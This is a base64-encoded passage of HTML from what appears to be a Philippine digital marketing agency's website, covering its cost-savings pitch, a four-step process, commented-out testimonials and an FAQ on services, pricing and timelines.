AgMC0yLjEyMi0yLjEzNkMxOS41MDUgMy41NDUgMTIgMy41NDUgMTIgMy41NDVzLTcuNTA1IDAtOS4zNzcuNTA1QTMuMDE3IDMuMDE3IDAgMCAwIC41MDIgNi4xODZDMCA4LjA3IDAgMTIgMCAxMnMwIDMuOTMuNTAyIDUuODE0YTMuMDE2IDMuMDE2IDAgMCAwIDIuMTIyIDIuMTM2YzEuODcxLjUwNSA5LjM3Ni41MDUgOS4zNzYuNTA1czcuNTA1IDAgOS4zNzctLjUwNWEzLjAxNSAzLjAxNSAwIDAgMCAyLjEyMi0yLjEzNkMyNCAxNS45MyAyNCAxMiAyNCAxMnMwLTMuOTMtLjUwMi01LjgxNHpNOS41NDUgMTUuNTY4VjguNDMyTDE1LjgxOCAxMmwtNi4yNzMgMy41Njh6Ii8+PC9zdmc+CiAgICAgICAgICAgIFdhdGNoIE1vcmUgb24gWW91VHViZSDihpIKICAgICAgICAgIDwvYT4KICAgICAgICAgIDxwPk5ldyBBSSBjaW5lbWF0aWMgU2hvcnRzIGV2ZXJ5IHdlZWsg4oCUIHN1YnNjcmliZSB0byBmb2xsb3cgdGhlIGZ1dHVyZSBvZiBBSSBjb250ZW50LjwvcD4KICAgICAgICA8L2Rpdj4KICAgIAogICAgICAgIDxkaXYgY2xhc3M9ImFpLXByb29mLWJhciI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJhaS1wcm9vZi1pdGVtIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvb2YtdmFsdWUiPjdLKzwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9vZi1sYWJlbCI+Vmlld3MgaW4gRmlyc3QgMyBXZWVrczwvZGl2PgogICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJhaS1wcm9vZi1pdGVtIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvb2YtdmFsdWUiPjEwMCU8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvb2YtbGFiZWwiPkFJLUdlbmVyYXRlZCBDb250ZW50PC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9ImFpLXByb29mLWl0ZW0iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9vZi12YWx1ZSI+Q2hhdEdQVCArIEtsaW5nPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb29mLWxhYmVsIj5Ub29scyBXZSBVc2UgZm9yIENsaWVudHM8L2Rpdj4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvc2VjdGlvbj4KICAgIAogICAgCgogICAgPCEtLSDilZDilZDilZAgV0hZIFBISUxJUFBJTkVTIOKVkOKVkOKVkCAtLT4KICAgIDxzZWN0aW9uIGNsYXNzPSJ3aHktc2VjdGlvbiI+CiAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0id2h5LWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0id2h5LWltYWdlLXdyYXAiPgogICAgICAgICAgICA8aW1nCiAgICAgICAgICAgICAgc3JjPSJodHRwczovL2ltYWdlcy51bnNwbGFzaC5jb20vcGhvdG8tMTUyMTczNzYwNDg5My1kMTRjYzIzN2YxMWQ\/dz04MDAmcT04MCIKICAgICAgICAgICAgICBhbHQ9Ik1hcmtldGluZyB0ZWFtIGNvbGxhYm9yYXRpbmciCiAgICAgICAgICAgICAgbG9hZGluZz0ibGF6eSIKICAgICAgICAgICAgLz4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmxvYXRpbmctY2FyZCI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmMtdmFsdWUiPjQwLTYwJTwvZGl2PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZjLWxhYmVsIj5Db3N0IHNhdmluZ3MgdnMgVVMvRVUgYWdlbmNpZXM8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tbGFiZWwiPldoeSBQaGlsaXBwaW5lczwvZGl2PgogICAgICAgICAgICA8aDIgY2xhc3M9InNlY3Rpb24taGVhZGluZyI+V29ybGQtQ2xhc3MgTWFya2V0aW5nLiA8c3BhbiBjbGFzcz0iaGlnaGxpZ2h0Ij5QaGlsaXBwaW5lIFByaWNlcy48L3NwYW4+PC9oMj4KICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi10b3A6MXJlbTtjb2xvcjp2YXIoLS1tdXRlZCk7bGluZS1oZWlnaHQ6MS43OyI+CiAgICAgICAgICAgICAgVGhlIFBoaWxpcHBpbmVzIGhhcyBlbWVyZ2VkIGFzIG9uZSBvZiB0aGUgd29ybGQncyB0b3AgZGVzdGluYXRpb25zIGZvciBkaWdpdGFsIG1hcmtldGluZyBvdXRzb3VyY2luZyDigJQgYW5kCiAgICAgICAgICAgICAgZm9yIGdvb2QgcmVhc29uLgogICAgICAgICAgICA8L3A+CiAgICAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6MnJlbTsiPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlYXNvbi1pdGVtIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrLWJveCI+4pyTPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICA8aDM+Q29zdC1FZmZlY3RpdmUgU29sdXRpb25zPC9oMz4KICAgICAgICAgICAgICAgICAgPHA+V29ybGQtY2xhc3MgdGFsZW50IGF0IGEgZnJhY3Rpb24gb2YgdGhlIGNvc3Qg4oCUIHdpdGhvdXQgY29tcHJvbWlzaW5nIHF1YWxpdHkuPC9wPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhc29uLWl0ZW0iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2stYm94Ij7inJM8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgIDxoMz5Ta2lsbGVkIEVuZ2xpc2gtU3BlYWtpbmcgRXhwZXJ0czwvaDM+CiAgICAgICAgICAgICAgICAgIDxwPkZsdWVudCBpbiBFbmdsaXNoLCBkZWVwbHkgZmFtaWxpYXIgd2l0aCBXZXN0ZXJuIG1hcmtldHMuPC9wPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhc29uLWl0ZW0iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2stYm94Ij7inJM8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgIDxoMz5HbG9iYWwgJiBMb2NhbCBFeHBlcnRpc2U8L2gzPgogICAgICAgICAgICAgICAgICA8cD5XZSB1bmRlcnN0YW5kIGJvdGggbG9jYWwgYW5kIGludGVybmF0aW9uYWwgbWFya2V0IG51YW5jZXMuPC9wPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhc29uLWl0ZW0iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2stYm94Ij7inJM8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgIDxoMz5Qcm92ZW4gUk9JLURyaXZlbiBTdHJhdGVnaWVzPC9oMz4KICAgICAgICAgICAgICAgICAgPHA+RXZlcnkgY2FtcGFpZ24gYmFja2VkIGJ5IGRhdGEuIENsZWFyIEtQSXMuIENvbnRpbnVvdXMgb3B0aW1pemF0aW9uLjwvcD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvc2VjdGlvbj4KCiAgICA8IS0tIOKVkOKVkOKVkCBPVVIgUFJPVkVOIFBST0NFU1Mg4pWQ4pWQ4pWQIC0tPgogICAgPHNlY3Rpb24gY2xhc3M9InByb2Nlc3Mtc2VjdGlvbiI+CiAgICAgIDxkaXYgY2xhc3M9ImJnLWNsaXAiPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206NHJlbTttYXgtd2lkdGg6NzAwcHg7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzsiPgogICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbi1sYWJlbCI+T3VyIFByb3ZlbiBQcm9jZXNzPC9kaXY+CiAgICAgICAgICA8aDIgY2xhc3M9InNlY3Rpb24taGVhZGluZyI+RnJvbSBTdHJhdGVneSB0byA8c3BhbiBjbGFzcz0iaGlnaGxpZ2h0Ij5TY2FsYWJsZSBHcm93dGg8L3NwYW4+PC9oMj4KICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW4tdG9wOjFyZW07Y29sb3I6dmFyKC0tbXV0ZWQpO2xpbmUtaGVpZ2h0OjEuNzsiPgogICAgICAgICAgICBXZSBmb2xsb3cgYSBzdHJ1Y3R1cmVkLCBmb3VyLXBoYXNlIGFwcHJvYWNoIHRvIGVuc3VyZSBldmVyeSBjYW1wYWlnbiBpcyBzdHJhdGVnaWNhbGx5IHBsYW5uZWQsIGV4cGVydGx5CiAgICAgICAgICAgIGV4ZWN1dGVkLCBhbmQgY29udGludW91c2x5IG9wdGltaXplZC4KICAgICAgICAgIDwvcD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwcm9jZXNzLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0iY29ubmVjdGluZy1saW5lIj48L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9InByb2Nlc3MtY2FyZCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtY2lyY2xlIj48c3Bhbj4wMTwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgPGgzPkRpc2NvdmVyeSAmIEF1ZGl0PC9oMz4KICAgICAgICAgICAgPHA+V2UgdW5kZXJzdGFuZCB5b3VyIGdvYWxzLCBhdWRpdCB5b3VyIHByZXNlbmNlLCBhbmQgaWRlbnRpZnkgdW50YXBwZWQgb3Bwb3J0dW5pdGllcy48L3A+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9InByb2Nlc3MtY2FyZCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtY2lyY2xlIj48c3Bhbj4wMjwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgPGgzPlN0cmF0ZWd5IERldmVsb3BtZW50PC9oMz4KICAgICAgICAgICAgPHA+QSB0YWlsb3JlZCBzdHJhdGVneSB3aXRoIGNsZWFyIG9iamVjdGl2ZXMsIGNoYW5uZWwgcHJpb3JpdGllcywgYW5kIG1lYXN1cmFibGUgS1BJcy48L3A+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9InByb2Nlc3MtY2FyZCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtY2lyY2xlIj48c3Bhbj4wMzwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgPGgzPkV4ZWN1dGlvbiAmIE9wdGltaXphdGlvbjwvaDM+CiAgICAgICAgICAgIDxwPldlIGV4ZWN1dGUsIG1vbml0b3IsIEEvQiB0ZXN0LCBhbmQgb3B0aW1pemUgY29udGludW91c2x5IGZvciBtYXhpbXVtIHJlc3VsdHMuPC9wPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9jZXNzLWNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGVwLWNpcmNsZSI+PHNwYW4+MDQ8L3NwYW4+PC9kaXY+CiAgICAgICAgICAgIDxoMz5SZXBvcnRpbmcgJiBHcm93dGg8L2gzPgogICAgICAgICAgICA8cD5UcmFuc3BhcmVudCBtb250aGx5IHJlcG9ydHMgd2l0aCBhY3Rpb25hYmxlIGluc2lnaHRzIHRvIHNjYWxlIHlvdXIgc3VjY2Vzcy48L3A+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+CgogICAgPCEtLSDilZDilZDilZAgVEVTVElNT05JQUxTIOKVkOKVkOKVkCAtLT4KICAgIDwhLS08c2VjdGlvbiBpZD0idGVzdGltb25pYWxzIiBjbGFzcz0idGVzdGltb25pYWxzLXNlY3Rpb24iPgogICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206NHJlbTsiPgogICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbi1sYWJlbCI+VGVzdGltb25pYWxzPC9kaXY+CiAgICAgICAgICA8aDIgY2xhc3M9InNlY3Rpb24taGVhZGluZyI+VHJ1c3RlZCBieSBCdXNpbmVzc2VzIDxzcGFuIGNsYXNzPSJoaWdobGlnaHQiPldvcmxkd2lkZTwvc3Bhbj48L2gyPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InRlc3RpbW9uaWFscy1ncmlkIj4KICAgICAgICAgIDxkaXYgY2xhc3M9InRlc3RpbW9uaWFsLWNhcmQiPgogICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmlnLXF1b3RlIj4iPC9zcGFuPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGFycyI+4pyoIOKcqCDinKgg4pyoIOKcqDwvZGl2PgogICAgICAgICAgICA8cCBjbGFzcz0icXVvdGUtdGV4dCI+CiAgICAgICAgICAgICAgIlRoZXkgZG91YmxlZCBvdXIgbGVhZHMgaW4ganVzdCAzIG1vbnRocy4gVGhlIHRlYW0ncyBhdHRlbnRpb24gdG8gZGV0YWlsIGFuZCBzdHJhdGVnaWMgdGhpbmtpbmcgY29tcGxldGVseQogICAgICAgICAgICAgIHRyYW5zZm9ybWVkIG91ciBvbmxpbmUgcHJlc2VuY2UuIgogICAgICAgICAgICA8L3A+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImF1dGhvciI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYXV0aG9yLW5hbWUiPk1hcmlhIFNhbnRvczwvZGl2PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImF1dGhvci1yb2xlIj5DRU8sIFRlY2hTdGFydCBQSDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPGRpdiBjbGFzcz0idGVzdGltb25pYWwtY2FyZCI+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJiaWctcXVvdGUiPiI8L3NwYW4+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXJzIj7inKgg4pyoIOKcqCDinKgg4pyoPC9kaXY+CiAgICAgICAgICAgIDxwIGNsYXNzPSJxdW90ZS10ZXh0Ij4KICAgICAgICAgICAgICAiQmVzdCBtYXJrZXRpbmcgYWdlbmN5IHdlJ3ZlIHdvcmtlZCB3aXRoLiBUaGVpciBQUEMgY2FtcGFpZ25zIGRlbGl2ZXJlZCBhIDVYIHJldHVybiBvbiBhZCBzcGVuZCBhbmQKICAgICAgICAgICAgICBjb25zaXN0ZW50IG9yZ2FuaWMgbGVhZHMuIgogICAgICAgICAgICA8L3A+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImF1dGhvciI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYXV0aG9yLW5hbWUiPkphbWVzIFJvZHJpZ3VlejwvZGl2PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImF1dGhvci1yb2xlIj5Gb3VuZGVyLCBHcm93dGhMYWI8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9InRlc3RpbW9uaWFsLWNhcmQiPgogICAgICAgICAgICA8c3BhbiBjbGFzcz0iYmlnLXF1b3RlIj4iPC9zcGFuPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGFycyI+4pyoIOKcqCDinKgg4pyoIOKcqDwvZGl2PgogICAgICAgICAgICA8cCBjbGFzcz0icXVvdGUtdGV4dCI+CiAgICAgICAgICAgICAgIldoYXQgaW1wcmVzc2VkIHVzIG1vc3Qgd2FzIHRoZWlyIHRyYW5zcGFyZW5jeS4gTW9udGhseSByZXBvcnRzIHdlcmUgZGV0YWlsZWQsIGFuZCB0aGV5IHdlcmUgYWx3YXlzCiAgICAgICAgICAgICAgcHJvYWN0aXZlIGFib3V0IG5ldyBzdHJhdGVnaWVzLiIKICAgICAgICAgICAgPC9wPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJhdXRob3IiPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImF1dGhvci1uYW1lIj5TYXJhaCBDaGVuPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYXV0aG9yLXJvbGUiPk1hcmtldGluZyBEaXJlY3RvciwgUGFjaWZpYyBSZXRhaWw8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+LS0+CgogICAgPCEtLSDilZDilZDilZAgRkFRIOKVkOKVkOKVkCAtLT4KICAgIDxzZWN0aW9uIGlkPSJmYXEiIGNsYXNzPSJmYXEtc2VjdGlvbiI+CiAgICAgIDxkaXYgY2xhc3M9ImJnIj48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJmYXEtZ3JpZCI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJmYXEtaW50cm8iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLWxhYmVsIj5GQVE8L2Rpdj4KICAgICAgICAgICAgPGgyIGNsYXNzPSJzZWN0aW9uLWhlYWRpbmciPkdvdCA8c3BhbiBjbGFzcz0iaGlnaGxpZ2h0Ij5RdWVzdGlvbnM\/PC9zcGFuPjwvaDI+CiAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW4tdG9wOjFyZW07Y29sb3I6dmFyKC0tbXV0ZWQpO2xpbmUtaGVpZ2h0OjEuNzsiPgogICAgICAgICAgICAgIEV2ZXJ5dGhpbmcgeW91IG5lZWQgdG8ga25vdyBhYm91dCB3b3JraW5nIHdpdGggYSBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY3kgaW4gdGhlIFBoaWxpcHBpbmVzLgogICAgICAgICAgICA8L3A+CiAgICAgICAgICAgIDxhIGhyZWY9Ii9jb250YWN0Ij5TdGlsbCBoYXZlIHF1ZXN0aW9ucz8gQ29udGFjdCB1cyDihpI8L2E+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgIDxkZXRhaWxzIGNsYXNzPSJmYXEtaXRlbSI+CiAgICAgICAgICAgICAgPHN1bW1hcnk+V2hhdCBzZXJ2aWNlcyBkb2VzIHlvdXIgZGlnaXRhbCBtYXJrZXRpbmcgYWdlbmN5IGluIHRoZSBQaGlsaXBwaW5lcyBvZmZlcj88L3N1bW1hcnk+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmFxLWFuc3dlciI+CiAgICAgICAgICAgICAgICBXZSBvZmZlciBhIGNvbXByZWhlbnNpdmUgc3VpdGUgb2YgZGlnaXRhbCBtYXJrZXRpbmcgc2VydmljZXMgaW5jbHVkaW5nIFNlYXJjaCBFbmdpbmUgT3B0aW1pemF0aW9uIChTRU8pLAogICAgICAgICAgICAgICAgUGF5LVBlci1DbGljayAoUFBDKSBhZHZlcnRpc2luZywgc29jaWFsIG1lZGlhIG1hcmtldGluZywgY29udGVudCBtYXJrZXRpbmcsIGNvbnZlcnNpb24gcmF0ZSBvcHRpbWl6YXRpb24KICAgICAgICAgICAgICAgIChDUk8pLCB3ZWIgZGV2ZWxvcG1lbnQsIGdyYXBoaWMgZGVzaWduLCBhbmQgd2ViIGFuYWx5dGljcy4gRWFjaCBzZXJ2aWNlIGlzIHRhaWxvcmVkIHRvIHlvdXIgc3BlY2lmaWMKICAgICAgICAgICAgICAgIGJ1c2luZXNzIGdvYWxzIGFuZCB0YXJnZXQgYXVkaWVuY2UgdG8gZW5zdXJlIG1heGltdW0gaW1wYWN0IGFuZCByZXR1cm4gb24gaW52ZXN0bWVudC4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kZXRhaWxzPgogICAgICAgICAgICA8ZGV0YWlscyBjbGFzcz0iZmFxLWl0ZW0iPgogICAgICAgICAgICAgIDxzdW1tYXJ5PkhvdyBtdWNoIGRvZXMgaXQgY29zdCB0byBoaXJlIGEgZGlnaXRhbCBtYXJrZXRpbmcgYWdlbmN5IGluIHRoZSBQaGlsaXBwaW5lcz88L3N1bW1hcnk+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmFxLWFuc3dlciI+CiAgICAgICAgICAgICAgICBPdXIgcHJpY2luZyBkZXBlbmRzIG9uIHRoZSBzY29wZSBvZiBzZXJ2aWNlcywgY2FtcGFpZ24gY29tcGxleGl0eSwgYW5kIHlvdXIgYnVzaW5lc3Mgb2JqZWN0aXZlcy4gV2UKICAgICAgICAgICAgICAgIG9mZmVyIGZsZXhpYmxlIHBhY2thZ2VzIHN0YXJ0aW5nIGZyb20gcHJvamVjdC1iYXNlZCBlbmdhZ2VtZW50cyB0byBtb250aGx5IHJldGFpbmVycy4gUGhpbGlwcGluZS1iYXNlZAogICAgICAgICAgICAgICAgYWdlbmNpZXMgdHlwaWNhbGx5IG9mZmVyIDQwLTYwJSBjb3N0IHNhdmluZ3MgY29tcGFyZWQgdG8gVVMgb3IgRXVyb3BlYW4gYWdlbmNpZXMgd2hpbGUgZGVsaXZlcmluZyB0aGUKICAgICAgICAgICAgICAgIHNhbWUgcXVhbGl0eSBvZiB3b3JrLiBDb250YWN0IHVzIGZvciBhIGN1c3RvbWl6ZWQgcXVvdGUgYmFzZWQgb24geW91ciBuZWVkcy4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kZXRhaWxzPgogICAgICAgICAgICA8ZGV0YWlscyBjbGFzcz0iZmFxLWl0ZW0iPgogICAgICAgICAgICAgIDxzdW1tYXJ5PkhvdyBsb25nIGRvZXMgaXQgdGFrZSB0byBzZWUgcmVzdWx0cyBmcm9tIGRpZ2l0YWwgbWFya2V0aW5nPzwvc3VtbWFyeT4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmYXEtYW5zd2VyIj4KICAgICAgICAgICAgICAgIFRpbWVsaW5lcyB2YXJ5IGJ5IGNoYW5uZWwuIFBQQyBjYW1wYWlnbnMgY2FuIGdlbmVyYXRlIHJlc3VsdHMgd2l0aGluIGRheXMgb2YgbGF1bmNoLCB3aGlsZSBTRU8gdHlwaWNhbGx5CiAgICAgICAgICAgICAgICB0YWtlcyAzLTYgbW9udGhzIHRvIHNob3cgc2lnbmlmaWNhbnQgaW1wcm92ZW1lbnRzIGluIG9yZ2FuaWMgcmFua2luZ3MgYW5kIHRyYWZmaWMuIFNvY2lhbCBtZWRpYSBncm93dGgKICAgICAgICAgICAgICAgIGlzIHVzdWFsbHkgdmlzaWJsZSB3aXRoaW4gMS0zIG1vbnRocy4gV2Ugc2V0IHJlYWxpc3RpYyBleHBlY3RhdGlvbnMgdXBmcm9udCBhbmQgcHJvdmlkZSByZWd1bGFyIHByb2dyZXNzCiAgICAgICAgICAgICAgICB1cGRhdGVzIHNvIHlvdSBhbHdheXMga25vdyB3aGVyZSB0aGluZ3Mgc3RhbmQuCiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGV0YWlscz4KICAgICAgICAgICAgPGRldGFpbHMgY2xhc3M9ImZhcS1pdGVtIj4KICAgICAgICAgICAgICA8c3VtbWFyeT5EbyB5b3Ugd29yayB3aXRoIGludGVybmF0aW9uYWwgY2xpZW50cyBvciBvbmx5IFBoaWxpcHBpbmUtYmFzZWQgYnVzaW5lc3Nlcz88L3N1bW1hcnk+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmFxLWFuc3dlciI+CiAgICAgICAgICAgICAgICBXZSB3b3JrIHdpdGggY2xpZW50cyB3b3JsZHdpZGUuIEEgc2lnbmlmaWNhbnQgcG9ydGlvbiBvZiBvdXIgY2xpZW50IGJhc2UgaXMgbG9jYXRlZCBpbiB0aGUgVW5pdGVkCiAgICAgICAgICAgICAgICBTdGF0ZXMsIEF1c3RyYWxpYSwgdGhlIFVLLCBhbmQgQ2FuYWRhLiBPdXIgdGVhbSBvcGVyYXRlcyBhY3Jvc3MgbXVsdGlwbGUgdGltZSB6b25lcyBhbmQgdXNlcyBtb2Rlcm4KICAgICAgICAgICAgICAgIGNvbGxhYm9yYXRpb24gdG9vbHMgdG8gZW5zdXJlIHNlYW1sZXNzIGNvbW11bmljYXRpb24gcmVnYXJkbGVzcyBvZiB5b3VyIGxvY2F0aW9uLgogICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2RldGFpbHM+CiAgICAgICAgICAgIDxkZXRhaWxzIGNsYXNzPSJmYXEtaXRlbSI+CiAgICAgICAgICAgICAgPHN1bW1hcnk+SG93IGRvIHlvdSBtZWFzdXJlIHRoZSBzdWNjZXNzIG9mIGEgZGlnaXRhbCBtYXJrZXRpbmcgY2FtcGFpZ24\/PC9zdW1tYXJ5PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZhcS1hbnN3ZXIiPgogICAgICAgICAgICAgICAgV2UgdHJhY2sgYSB3aWRlIHJhbmdlIG9mIGtleSBwZXJmb3JtYW5jZSBpbmRpY2F0b3JzIChLUElzKSBpbmNsdWRpbmcgb3JnYW5pYyB0cmFmZmljLCBrZXl3b3JkIHJhbmtpbmdzLAogICAgICAgICAgICAgICAgY2xpY2stdGhyb3VnaCByYXRlcywgY29udmVyc2lvbiByYXRlcywgY29zdCBwZXIgYWNxdWlzaXRpb24sIHJldHVybiBvbiBhZCBzcGVuZCAoUk9BUyksIGFuZCBvdmVyYWxsCiAgICAgICAgICAgICAgICByZXZlbnVlIGdyb3d0aC4gWW91IHJlY2VpdmUgZGV0YWlsZWQgbW9udGhseSByZXBvcnRzIHdpdGggdHJhbnNwYXJlbnQgZGF0YSBhbmQgYWN0aW9uYWJsZQogICAgICAgICAgICAgICAgcmVjb21tZW5kYXRpb25zLgogICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2RldGFpbHM+CiAgICAgICAgICAgIDxkZXRhaWxzIGNsYXNzPSJmYXEtaXRlbSI+CiAgICAgICAgICAgICAgPHN1bW1hcnk+Q2FuIHlvdSBoZWxwIHdpdGggd2Vic2l0ZSBkZXNpZ24gYW5kIGRldmVsb3BtZW50IGFzIHdlbGw\/PC9zdW1tYXJ5PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZhcS1hbnN3ZXIiPgogICAgICAgICAgICAgICAgWWVzLCB3ZSBvZmZlciB3ZWJzaXRlIGRlc2lnbiBhbmQgZGV2ZWxvcG1lbnQgc2VydmljZXMgdGhhdCBjb21wbGVtZW50IG91ciBkaWdpdGFsIG1hcmtldGluZyBzdHJhdGVnaWVzLgogICAgICAgICAgICAgICAgSGF2aW5nIHlvdXIgbWFya2V0aW5nIGFnZW5jeSBoYW5kbGUgYm90aCBlbnN1cmVzIHRoYXQgeW91ciB3ZWJzaXRlIGlzIGZ1bGx5IG9wdGltaXplZCBmb3IgY29udmVyc2lvbnMsCiAgICAgICAgICAgICAgICBwYWdlIHNwZWVkLCBtb2JpbGUgcmVzcG9uc2l2ZW5lc3MsIGFuZCBTRU8gZnJvbSB0aGUgZ3JvdW5kIHVwLgogICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2RldGFpbHM+CiAgICAgICAgICAgIDxkZXRhaWxzIGNsYXNzPSJmYXEtaXRlbSI+CiAgICAgICAgICAgICAgPHN1bW1hcnk+V2hhdCBtYWtlcyB5b3VyIGFnZW5jeSBkaWZmZXJlbnQgZnJvbSBvdGhlciBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY2llcz88L3N1bW1hcnk+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmFxLWFuc3dlciI+CiAgICAgICAgICAgICAgICBUaHJlZSB0aGluZ3Mgc2V0IHVzIGFwYXJ0OiBGaXJzdCwgd2UncmUgMTAwJSBkYXRhLWRyaXZlbiDigJQgZXZlcnkgZGVjaXNpb24gaXMgYmFja2VkIGJ5IGFuYWx5dGljcywgbm90CiAgICAgICAgICAgICAgICBndWVzc3dvcmsuIFNlY29uZCwgd2UgcHJvdmlkZSBkZWRpY2F0ZWQgYWNjb3VudCBtYW5hZ2Vy